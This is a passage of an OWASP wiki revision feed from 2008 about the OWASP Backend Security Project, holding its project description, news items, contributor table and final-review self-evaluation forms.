          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [[https://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project_Proposals wiki page]] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46694</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46694"/>
				<updated>2008-11-21T15:49:05Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [[https://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project_Proposals wiki page ]]to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=45256</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=45256"/>
				<updated>2008-10-31T10:58:05Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Email Contacts'''&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:14%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - Beta Quality&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes/No''' (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes/No''' (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Season of Code''' - (To update)&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45202</id>
		<title>Project Information:template Backend Security Project - Final Review - Self Evaluation - B</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45202"/>
				<updated>2008-10-30T21:02:39Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Backend Security Project|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|OWASP Backend Security Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| Nothing&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| The project is compliant with the criteria defined in OWASP Project Assessment Methodology.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| Nothing&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45201</id>
		<title>Project Information:template Backend Security Project - Final Review - Self Evaluation - B</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project_-_Final_Review_-_Self_Evaluation_-_B&amp;diff=45201"/>
				<updated>2008-10-30T20:58:21Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Backend Security Project|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|OWASP Backend Security Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| 100% completed&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. What kind of help is required either from the Reviewers or from the OWASP Community?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;| Nothing&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
